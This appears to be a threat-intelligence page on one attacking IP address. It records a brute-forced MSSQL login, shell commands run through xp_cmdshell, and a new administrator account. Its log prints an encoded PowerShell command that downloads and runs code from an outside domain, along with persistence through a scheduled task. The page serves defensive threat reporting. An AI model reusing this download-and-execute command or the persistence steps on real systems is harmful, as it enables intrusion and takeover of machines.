Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 59.48.237.214Previously Malicious

IP Address: 59.48.237.214Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

Listening Successful MSSQL Login DNS Query MSSQL Execute MsSql Shell Command User Created IDS - Attempted User Privilege Gain CMD Outgoing Connection SMB Scheduled Task Creation MSSQL Brute Force PowerShell Access Suspicious Domain File Operation By CMD User Added to Group

Associated Attack Servers

parklogic.com

72.52.178.23

Basic Information

IP Address

59.48.237.214

Domain

-

ISP

China Telecom Shanxi

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2019-11-02

Last seen in Akamai Guardicore Segmentation

2021-08-07

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

MSSQL executed 2 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** and added to groups: Administrators

User Added to Group User Created

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

Process netsvcs Service Group started listening on ports: 65533

Listening

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: parklogic.com and v.beahh.com

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 72.52.178.23:80

Outgoing Connection

Connection was closed due to timeout